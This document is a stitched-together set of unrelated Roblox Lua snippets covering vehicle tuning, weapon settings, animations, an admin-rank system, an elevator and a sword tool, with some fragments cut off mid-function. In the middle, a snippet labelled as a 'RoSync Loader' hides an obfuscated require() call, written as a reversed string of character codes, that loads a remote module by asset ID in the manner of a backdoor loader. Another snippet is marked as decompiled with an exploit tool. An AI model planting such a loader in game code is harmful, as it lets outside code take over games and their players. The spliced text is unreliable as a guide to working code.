-- Changed in 5.1.x:
-- * the dumper was mostly rewritten in Lua 5.1.x, so notes on the
-- differences between 5.0.x and 5.1.x is limited
-- * LUAC_VERSION bumped to 0x51, LUAC_FORMAT added
-- * developer is expected to adjust LUAC_FORMAT in order to identify
-- non-standard binary chunk formats
-- * header signature code is smaller, has been simplified, and is
-- tested as a single unit; its logic is shared with the undumper
-- * no more endian conversion, invalid endianness mean rejection
-- * opcode field sizes are no longer exposed in the header
-- * code moved to front of a prototype, followed by constants
-- * debug information moved to the end of the binary chunk, and the
-- relevant functions folded into a single function
-- * luaU:dump returns a writer status code
-- * chunk writer now implements status code because dumper uses it
-- * luaU:endianness removed
----------------------------------------------------------------------]]
| |
--[=[
@within Timer
@type TimeFn () -> number
Time function.
]=]
|
type TimeFn = () -> number
local Signal = require(script.Parent.Signal)
local RunService = game:GetService("RunService")
|
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService
|
local dataStoreService = game:GetService("DataStoreService")
|
----- Private Functions -----
|
local debounce = {}
local function SellSpeed(player: Player, sellPart : Part) -- convert speed to coin
if debounce[player] then return end -- the cooldown
local profile = PlayerData.Profiles[player] -- convert the speed to coin
if not profile then return "Profile not found" end
local sellPartArea = sellPart:GetAttribute("Area")
if not profile.Data.Area[sellPartArea] then return "Area not unlocked" end -- check if the player has unlocked the area
local SpeedToSell = profile.Data.Speed
PlayerData.ResetSpeed(player)
local CoinToMake = SpeedToSell * Stat.CoinMultiplier(player, profile.Data, sellPart)
PlayerData.AdjustCoin(player, CoinToMake)
debounce[player] = true -- activate the cooldown
task.delay(SELL_COOLDOWN, function()
debounce[player] = nil
end)
end
local function CreateSellListener()
for _, descendant in Workspace.Game.Special:GetDescendants() do
if descendant.Name ~= "Sell" then continue end
local touchPart = descendant.Hit
touchPart.Touched:Connect(function(otherPart)
local player = Players:GetPlayerFromCharacter(otherPart.Parent)
if player then
SellSpeed(player, descendant)
end
end)
end
end
|
--// Ammo Settings
|
Ammo = 17;
StoredAmmo = 20;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 3;
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, Connection in pairs(animTable[name].Connections) do
Connection:Disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].Connections = {}
local allowCustomAnimations = true
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].Connections, config.ChildAdded:Connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].Connections, config.ChildRemoved:Connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject ~= nil) then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].Connections, childPart.Changed:Connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].Connections, childPart.ChildAdded:Connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].Connections, childPart.ChildRemoved:Connect(function(property) configureAnimationSet(name, fileList) end))
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
|
------------------------------------------------------------------------
|
do
local enabled = false
local function ToggleFreecam()
if enabled then
StopFreecam()
else
StartFreecam()
end
enabled = not enabled
end
local function CheckMacro(macro)
for i = 1, #macro - 1 do
if not UserInputService:IsKeyDown(macro[i]) then
return
end
end
ToggleFreecam()
end
local function HandleActivationInput(action, state, input)
if state == Enum.UserInputState.Begin then
if input.KeyCode == FREECAM_MACRO_KB[#FREECAM_MACRO_KB] then
CheckMacro(FREECAM_MACRO_KB)
end
if input.KeyCode == Enum.KeyCode.F then
ToggleFreecam()
end
end
return Enum.ContextActionResult.Pass
end
ContextActionService:BindActionAtPriority("FreecamToggle", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, FREECAM_MACRO_KB[#FREECAM_MACRO_KB])
ContextActionService:BindActionAtPriority("FreecamToggle2", HandleActivationInput, false, TOGGLE_INPUT_PRIORITY, Enum.KeyCode.F)
RF.OnClientInvoke = function(a, b, c)
if a == "Disable" and enabled then
enabled = false
StopFreecam()
end
if a == "Enable" and not enabled then
enabled = true
StartFreecam()
end
if a == "Toggle" then
ToggleFreecam()
end
if a == "End" or a == "Stop" then
RF.OnClientInvoke = nil
Debris:AddItem(RF, 0.5)
StopFreecam()
end
end
ToggleFreecam() -- Runs the freecam automatically
end
|
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- --
|
local prev
local parts = script.Parent:GetChildren()
for i = 1,#parts do
if ((parts[i].className == "Part") or (parts[i].className == "Handle") or (parts[i].className == "TrussPart") or (parts[i].className == "VehicleSeat") or (parts[i].className == "SkateboardPlatform")) then
if (prev ~= nil) then
local weld = Instance.new("Weld")
weld.Part0 = prev
weld.Part1 = parts[i]
weld.C0 = prev.CFrame:inverse(Engine)
weld.C1 = parts[i].CFrame:inverse(Part)
weld.Parent = prev
parts[i].Anchored = false
end
prev = parts[i]
end
end
local bp = Instance.new("BodyPosition")
bp.Parent = script.Parent.middle
bp.maxForce = Vector3.new(force,math.huge,force)
bp.position = script.Parent.middle.Position
wait()
script.Parent.Hinges.Parta.Transparency = 1
script.Parent.Hinges.Partb.Transparency = 1
local people = script.Parent:GetChildren()
for i = 1,#people do
if people[i].className == "Part" then
people[i].TopSurface = "SmoothNoOutlines"
people[i].BottomSurface = "SmoothNoOutlines"
people[i].LeftSurface = "SmoothNoOutlines"
people[i].RightSurface = "SmoothNoOutlines"
people[i].FrontSurface = "SmoothNoOutlines"
people[i].BackSurface = "SmoothNoOutlines"
people[i].Anchored = false
end end
|
--don't touch below, very delicate
|
car = script.Parent.Parent
Base = car:FindFirstChild("Base")
Left = car:FindFirstChild("Left")
Right = car:FindFirstChild("Right")
for _,h in pairs (car:GetChildren()) do
if h:IsA("Motor") then--make sure we start with a blank slate
h:Destroy()
end
end
if Base then
if Left then
leftMotor = Instance.new("Motor6D", car)
leftMotor.Name = "LeftMotor"
leftMotor.Part0 = Left
leftMotor.Part1 = Base
leftMotor.C0 = CFrame.new(-WheelSize/2-Left.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,-math.pi/2)
leftMotor.C1 = CFrame.new(Base.Size.x/2+Left.Size.x+WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
leftMotor.MaxVelocity = motorSpeed
end
if Right then
rightMotor = Instance.new("Motor6D", car)
rightMotor.Name = "RightMotor"
rightMotor.Part0 = Right
rightMotor.Part1 = Base
rightMotor.C0 = CFrame.new(-WheelSize/2-Right.Size.x/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
rightMotor.C1 = CFrame.new(-Base.Size.x/2-Right.Size.x-WheelSize/2,0,0)*CFrame.Angles(math.pi/2,0,math.pi/2)
rightMotor.MaxVelocity = motorSpeed
end
end
|
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
plrData.Money.Gold.Value = plrData.Money.Gold.Value - 2
end
|
----------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
--//Server Animations
------//Idle Position
|
self.SV_GunPos = CFrame.new(-.3, -.2, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))
self.SV_RightArmPos = CFrame.new(-.9, 1.25, -0.35) * CFrame.Angles(math.rad(-30), math.rad(0), math.rad(0)) --Server
self.SV_LeftArmPos = CFrame.new(1,1,-1) * CFrame.Angles(math.rad(-80),math.rad(30),math.rad(-10)) --server
self.SV_RightElbowPos = CFrame.new(0,-0.45,-.25) * CFrame.Angles(math.rad(-80), math.rad(0), math.rad(0)) --Client
self.SV_LeftElbowPos = CFrame.new(0,0, -0.1) * CFrame.Angles(math.rad(-15),math.rad(0),math.rad(0)) --Client
self.SV_RightWristPos = CFrame.new(0,0,0.15) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)) --Client
self.SV_LeftWristPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(-15),math.rad(0))
|
-- assume we are in the character, let's check
|
function sepuku()
script.Parent = nil
end
local debris = game:GetService("Debris")
local h = script.Parent:FindFirstChild("Humanoid")
if (h == nil) then sepuku() end
local torso = script.Parent:FindFirstChild("Torso")
if (torso == nil) then sepuku() end
local head = script.Parent:FindFirstChild("Head")
if (head == nil) then head = torso end
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .75 -- things float at > 1
local fire = Instance.new("Fire")
fire.Parent = head
fire.Heat = 10
fire.Size = 3
function recursiveGetLift(node)
local m = 0
local c = node:GetChildren()
if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off
for i=1,#c do
if c[i].className == "Part" then
if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
if c[i].Name == "Handle" then
m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
else
m = m + (c[i]:GetMass() * equalizingForce * gravity)
end
end
end
m = m + recursiveGetLift(c[i])
end
return m
end
function jumpIt()
local mass = recursiveGetLift(h.Parent)
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,mass * 0.8,0)
force.Parent = torso
debris:AddItem(force,0.5)
end
local con = h.Jumping:connect(jumpIt)
local oldSpeed = h.WalkSpeed
h.WalkSpeed = h.WalkSpeed * 0.8
local oldMaxHealth = h.MaxHealth
h.MaxHealth = oldMaxHealth * 1.5
h.Health = h.MaxHealth
local bodySpin = Instance.new("BodyAngularVelocity")
bodySpin.P = 200000
bodySpin.angularvelocity = Vector3.new(0,2,0)
bodySpin.maxTorque = Vector3.new(bodySpin.P,bodySpin.P,bodySpin.P)
bodySpin.Parent = torso
wait(30)
fire:remove()
h.WalkSpeed = oldSpeed
h.MaxHealth = oldMaxHealth
if h.Health > 60 then
h.Health = 60
end
con:disconnect()
bodySpin:remove()
sepuku()
|
--[[
Novena Constraint Type: Motorcycle
The Bike Chassis, Beta Version
Avxnturador | Novena
HAYASHl | Enjin
Please read the README for updates.
--]]
|
local Tune = {}
|
--// F key, Horn
|
mouse.KeyDown:connect(function(key)
if key=="h" then
script.Parent.Parent.Horn.TextTransparency = 0
veh.Lightbar.middle.Airhorn:Play()
veh.Lightbar.middle.Wail.Volume = 2
veh.Lightbar.middle.Yelp.Volume = 2
veh.Lightbar.middle.Priority.Volume = 2
script.Parent.Parent.MBOV.Visible = true
script.Parent.Parent.MBOV.Text = "Made by OfficerVargas"
end
end)
|
--[[Susupension]]
|
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 5000 -- Spring Force
Tune.FSusLength = 3.6 -- Suspension length (in studs)
Tune.FSusMaxExt = .5 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = 1.2 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 5000 -- Spring Force
Tune.RSusLength = 3.5 -- Suspension length (in studs)
Tune.RSusMaxExt = .5 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = 1.2 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--// Aim|Zoom|Sensitivity Customization
|
ZoomSpeed = 0.23; -- The lower the number the slower and smoother the tween
AimZoom = 55; -- Default zoom
AimSpeed = 0.23;
UnaimSpeed = 0.23;
CycleAimZoom = 40; -- Cycled zoom
MouseSensitivity = 0.5; -- Number between 0.1 and 1
SensitivityIncrement = 0.05; -- No touchy
|
-- Touch anything below and you'll upset the script, and that's not a good thing.
|
local url = ""
local httpService = game:GetService'HttpService'
local module = {}
game:WaitForChild'NetworkServer'
function decodeJson(json)
local jsonTab = {} pcall(function ()
jsonTab = httpService:JSONDecode(json)
end) return jsonTab
end
function encodeJson(data)
local jsonString = data pcall(function ()
jsonString = httpService:JSONEncode(data)
end) return jsonString
end
function doGet(sheet, key)
local json = httpService:GetAsync(url .. "?sheet=" .. sheet .. "&key=" .. key)
local data = decodeJson(json)
if data.result == "success" then
return data.value
else
-- warn("Database error:", data.error)
return
end
end
function doPost(sheet, key, data)
local json = httpService:UrlEncode(encodeJson(data))
local retJson = httpService:PostAsync(url, "sheet=" .. sheet .. "&key=" .. key .. "&value=" .. json, 2)
local data = decodeJson(retJson)
print(retJson)
if data.result == "success" then
return true
else
warn("Database error:", data.error)
return false
end
end
function module:GetDatabase(sheet)
local database = {}
function database:PostAsync(key, value)
return doPost(sheet, key, value)
end
function database:GetAsync(key)
return doGet(sheet, key)
end
return database
end
return module
|
--[[ Last synced 7/19/2021 06:23 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--// Ammo Settings
|
Ammo = 30;
StoredAmmo = 30;
MagCount = 6; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 3;
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local l__PlayerGui__1 = service.PlayerGui;
local l__LocalPlayer__2 = service.Players.LocalPlayer;
local l__Main__3 = client.UI.Prepare(script.Parent.Parent).Main;
local l__Title__4 = l__Main__3.Title;
local l__Message__5 = l__Main__3.Message;
local l__Color__6 = p1.Color;
l__Message__5.Text = p1.Message;
l__Message__5.Font = "Arial";
gTable.Ready();
wait(5);
gTable.Destroy();
end;
|
-- @Context Client
-- Send a request to the server for a projectile to be created.
-- @param WeaponDefinition weaponDefinition
-- @param Vector3 position
-- @param Vector3 direction
|
function ProjectileReplication.SendThrowable(weaponDefinition, position, direction)
RE_CreateThrowable:FireServer(weaponDefinition:GetIDName(), position, direction)
end
return ProjectileReplication
|
--// Damage Settings
|
BaseDamage = 1; -- Torso Damage
LimbDamage = 1; -- Arms and Legs
ArmorDamage = 1; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 2; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
-- << LOCAL FUNCTIONS >>
|
local function playerAdded(player)
-- Character Added
player.CharacterAdded:Connect(function(character)
--Check if any commands need re-activating
local humanoid = character:WaitForChild("Humanoid")
local pdata = main.pd[player]
if pdata then
for commandName,_ in pairs(pdata.CommandsActive) do
local speaker = player
local args = {player}
local command = main.commands[string.lower(commandName)]
main:GetModule("cf"):ExecuteCommand(speaker, args, command, {ExtraDetails = {DontForceActivate = true}})
--main:GetModule("Extensions"):SetupCommand(player, commandName, true)
end
for itemName, _ in pairs(pdata.Items) do
main:GetModule("Extensions"):SetupItem(player, itemName, true)
end
end
--Other
wait(1)
if settingUpPlayer[player] then
repeat wait(0.1) until not settingUpPlayer[player]
end
end)
--Check if loader banned
local userId = player.UserId
if main.banned[tostring(userId)] then
player:Kick("\n\nYou're permanently banned from this game.\n\n")
end
-- Setup PlayerData
settingUpPlayer[player] = true
local pdata = main:GetModule("PlayerData"):SetupPlayerData(player)
settingUpPlayer[player] = nil
--Player Chatted
if not main.players:GetPlayerByUserId(userId) then return end
player.Chatted:Connect(function(message)
main.signals.PlayerChatted:Fire(player, message)
main:GetModule("Parser"):ParseMessage(player, message, true)
end)
--Setup Friends
local friends = main:GetModule("cf"):GetFriends(userId)
if not main.pd[player] then return end
main.pd[player].Friends = friends
-- Check if default settings have changed
if not main.players:GetPlayerByUserId(userId) then return end
for settingName, settingValue in pairs(pdata.DefaultSettings) do
local defaultSettingValue = main.settings[settingName]
--print(settingName.." : "..tostring(defaultSettingValue).." : ".. tostring(settingValue))
if defaultSettingValue ~= settingValue then
main.pd[player].DefaultSettings[settingName] = defaultSettingValue
main:GetModule("PlayerData"):ChangeStat(player, settingName, defaultSettingValue)
end
end
--
main:GetModule("PlayerData"):ChangeStat(player, "SetupData", true)
--
-- << SETUP RANKS >>
--Owner
if userId == main.ownerId or main:GetModule("cf"):FindValue(main.owner, userId) then
main:GetModule("cf"):RankPlayerSimple(player, 5, true)
if main.oldLoader then
main.signals.ShowWarning:FireClient(player, "OldLoader")
end
end
--Check if player has admin in this server
local serverRank = main.serverAdmins[player.Name]
if serverRank then
main:GetModule("cf"):RankPlayerSimple(player, serverRank)
end
--Specific User
local specificUserRank = main.permissions.specificUsers[player.Name]
if specificUserRank then
main:GetModule("cf"):RankPlayerSimple(player, specificUserRank, true)
end
--Gamepasses
for gamepassId, gamepassInfo in pairs(main.permissions.gamepasses) do
local hasGamepass = false
if main:GetModule("cf"):FindValue(pdata.Gamepasses, gamepassId) then
hasGamepass = true
elseif main.marketplaceService:UserOwnsGamePassAsync(userId, gamepassId) then
hasGamepass = true
main:GetModule("PlayerData"):InsertStat(player, "Gamepasses", gamepassId)
main:GetModule("cf"):CheckAndRankToDonor(player, pdata, gamepassId)
end
if hasGamepass then
main:GetModule("cf"):RankPlayerSimple(player, gamepassInfo.Rank, true)
end
end
--Assets
if not main.players:GetPlayerByUserId(userId) then return end
for assetId, assetInfo in pairs(main.permissions.assets) do
local hasAsset = false
if main:GetModule("cf"):FindValue(pdata.Assets, assetId) then
hasAsset = true
elseif main.marketplaceService:PlayerOwnsAsset(player, assetId) then
hasAsset = true
main:GetModule("PlayerData"):InsertStat(player, "Assets", assetId)
end
if hasAsset then
main:GetModule("cf"):RankPlayerSimple(player, assetInfo.Rank, true)
end
end
--Groups
if not main.players:GetPlayerByUserId(userId) then return end
for groupId, groupInfo in pairs(main.permissions.groups) do
local roleName = player:GetRoleInGroup(groupId)
if groupInfo.Roles[roleName] then
main:GetModule("cf"):RankPlayerSimple(player, groupInfo.Roles[roleName].Rank, true)
end
end
--Friends
if not main.players:GetPlayerByUserId(userId) then return end
for plrName, plrId in pairs(friends) do
if plrId == main.ownerId then
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.friends, true)
end
end
--VIPServers
local vipServerOwnerId = game.VIPServerOwnerId
if vipServerOwnerId ~= 0 then
if userId == vipServerOwnerId then
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerOwner, true)
else
main:GetModule("cf"):RankPlayerSimple(player, main.permissions.vipServerPlayer, true)
end
end
--Free admin
local freeAdminRank = main.permissions.freeAdmin
if tonumber(freeAdminRank) and freeAdminRank > 0 then
main:GetModule("cf"):RankPlayerSimple(player, freeAdminRank, true)
end
-- << CHECK FOR SERVER LOCK >>
if pdata.Rank < main.ranksAllowedToJoin then
player:Kick("The server has been locked for ranks below '".. main:GetModule("cf"):GetRankName(main.ranksAllowedToJoin).."'")
for i, plr in pairs(main.players:GetChildren()) do
main.signals.Hint:FireClient(plr, {"Standard", "Server Lock: "..player.Name.." attempted to join! Rank = '"..main:GetModule("cf"):GetRankName(pdata.Rank).."'", Color3.fromRGB(255,255,255)})
end
end
-- << CHECK IF BANNED >>
--local success, record = false, main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)]
local success, record = pcall(function() return main.serverBans[main:GetModule("cf"):FindUserIdInRecord(main.serverBans, userId)] end)
if not record then
success, record = pcall(function() return main.sd.Banland.Records[main:GetModule("cf"):FindUserIdInRecord(main.sd.Banland.Records, userId)] end)
end
if success and record then
main:GetModule("cf"):BanPlayer(player.UserId, record)
end
-- << CHECK PERM RANK AND RANK EXISTS >>
if pdata.SaveRank and main:GetModule("cf"):GetRankName(pdata.Rank) == "" then
main:GetModule("cf"):Unrank(player)
end
-- << START COLOUR >>
wait(2)
if not main.players:GetPlayerByUserId(userId) then return end
--Setup start chat colour
local plrChatColor
for chatRankId, chatColor3 in pairs(main.settings.ChatColors) do
if pdata.Rank == chatRankId then
plrChatColor = chatColor3
break
end
end
if plrChatColor then
local speaker = main.chatService and main.chatService:GetSpeaker(player.Name)
if not speaker and main.chatService then
local maxRetries = 10
for i = 1,maxRetries do
wait(0.5)
if not main.players:GetPlayerByUserId(userId) then return end
speaker = main.chatService:GetSpeaker(player.Name)
if speaker then
break
end
end
end
if speaker then
speaker:SetExtraData("ChatColor", plrChatColor)
end
end
-- << NOTICES >>
wait(1)
if not main.players:GetPlayerByUserId(userId) then return end
if pdata.Rank > 0 and main.settings.WelcomeRankNotice ~= false then
local rankName = main:GetModule("cf"):GetRankName(pdata.Rank)
main:GetModule("cf"):FormatAndFireNotice(player, "WelcomeRank", rankName)
end
if pdata.Donor and main.settings.WelcomeDonorNotice ~= false then
main:GetModule("cf"):DonorNotice(player, pdata)
end
--main.signals.FadeInIcon:FireClient(player)
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 235 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Hide Accessory
|
script.Parent.ChildAdded:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
for i,v in pairs(child.Part1.Parent:GetChildren())do
if v:IsA("Accessory") then
v.Handle.Transparency=1
end
end
end
end
end)
|
-------------------------
|
function onClicked()
script.Parent.Parent.Call2.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 0
script.Parent.Click:Play()
script.Parent.BrickColor = BrickColor.new("Really red")
script.Parent.ClickDetector.MaxActivationDistance = 0
script.Parent.Parent.Up.ClickDetector.MaxActivationDistance = 0
wait(2)
script.Parent.Parent.DoorOutside.CanCollide = true
script.Parent.Parent.DoorOutside.Transparency = 0
script.Parent.Parent.DoorInside.Transparency = 0
script.Parent.Parent.DoorInside.CanCollide = true
script.Parent.Parent.DoorInside.Close:Play()
wait(3)
script.Parent.Parent.Screen.SurfaceGui.Frame.Up.Visible = true
Car.Start:Play()
Car.Run:Play()
LiftUp:Play()
wait(12)
script.Parent.Parent.Screen.SurfaceGui.Frame.TextLabel.Text = "GROUND FLOOR"
script.Parent.Parent.Screen.SurfaceGui.Frame.Up.Visible = false
Car.Start:Stop()
Car.Run:Stop()
Car.Stop:Play()
wait(2)
door.Transparency = 1
door.CanCollide = false
script.Parent.Parent.DoorOutside2.CanCollide = false
script.Parent.Parent.DoorOutside2.Transparency = 1
Car.Ding:Play()
wait(5)
script.Parent.Parent.Call.ClickDetector.MaxActivationDistance = 12
script.Parent.BrickColor = BrickColor.new("Lime green")
script.Parent.Parent.Down.BrickColor = BrickColor.new("Really red")
script.Parent.Parent.Down.ClickDetector.MaxActivationDistance = 12
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- << VARIABLES >>
|
local notices = main.gui.Notices
local template = notices.Template
local XOffset = 0
local noticeDe = true
local noticeQueue = {}
local currentNotices = {}
local inverted = false
local maxNotices = 4
local maxTime = 7
local waitTime = 0.5
local tweenInfoUp = TweenInfo.new(waitTime,Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local tweenInfoDown = TweenInfo.new(waitTime*1.25,Enum.EasingStyle.Back, Enum.EasingDirection.Out)
local tweenInfoEnd = TweenInfo.new(waitTime*1.25,Enum.EasingStyle.Back, Enum.EasingDirection.In)
|
--
|
frame.controls_page.kick.MouseEnter:Connect(function()
if (hovering and down) then
properties.hovering.Value = "kick"
tween_service:Create(control_page.kick, info_quick, {BackgroundTransparency = .9}):Play()
tween_service:Create(control_page.kick.scale, info_quick, {Scale = 1.2}):Play()
tween_service:Create(control_page.kick.stroke, info_quick, {Thickness = 2}):Play()
exe_module:notify("Kick", .5, "blue")
end
end)
frame.controls_page.kick.MouseLeave:Connect(function()
properties.hovering.Value = ""
tween_service:Create(control_page.kick, info_quick, {BackgroundTransparency = 1}):Play()
tween_service:Create(control_page.kick.scale, info_quick, {Scale = 1}):Play()
tween_service:Create(control_page.kick.stroke, info_quick, {Thickness = 0}):Play()
end)
|
--- Replaces arguments in the format $1, $2, $something with whatever the
-- given function returns for it.
|
function Util.SubstituteArgs(str, replace)
str = encodeCommandEscape(str)
-- Convert numerical keys to strings
if type(replace) == "table" then
for i = 1, #replace do
local k = tostring(i)
replace[k] = replace[i]
if replace[k]:find("%s") then
replace[k] = string.format("%q", replace[k])
end
end
end
return decodeCommandEscape(str:gsub("$(%w+)", replace))
end
|
--[=[
Whenever the attribute is true, the binder will be bound, and when the
binder is bound, the attribute will be true.
@param instance Instance
@param attributeName string
@param binder Binder<T>
@return Maid
]=]
|
function AttributeUtils.bindToBinder(instance, attributeName, binder)
assert(binder, "Bad binder")
assert(typeof(instance) == "Instance", "Bad instance")
assert(type(attributeName) == "string", "Bad attributeName")
local maid = Maid.new()
local function syncAttribute()
if instance:GetAttribute(attributeName) then
if RunService:IsClient() then
binder:BindClient(instance)
else
binder:Bind(instance)
end
else
if RunService:IsClient() then
binder:UnbindClient(instance)
else
binder:Unbind(instance)
end
end
end
maid:GiveTask(instance:GetAttributeChangedSignal(attributeName):Connect(syncAttribute))
local function syncBoundClass()
if binder:Get(instance) then
instance:SetAttribute(attributeName, true)
else
instance:SetAttribute(attributeName, false)
end
end
maid:GiveTask(binder:ObserveInstance(instance, syncBoundClass))
if binder:Get(instance) or instance:GetAttribute(attributeName) then
instance:SetAttribute(attributeName, true)
if RunService:IsClient() then
binder:BindClient(instance)
else
binder:Bind(instance)
end
else
instance:SetAttribute(attributeName, false)
-- no need to bind
end
-- Depopuplate the attribute on exit
maid:GiveTask(function()
-- Force all cleaning first
maid:DoCleaning()
-- Cleanup
instance:SetAttribute(attributeName, nil)
end)
return maid
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 10
local lunge_damage = 30
sword = script.Parent.Handle
Tool = script.Parent
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
SlashSound.Parent = sword
SlashSound.Volume = .7
local LungeSound = Instance.new("Sound")
LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
LungeSound.Parent = sword
LungeSound.Volume = .6
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
if (hit.Parent == nil) then return end -- happens when bullet hits sword
local humanoid = hit.Parent:findFirstChild("Humanoid")
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
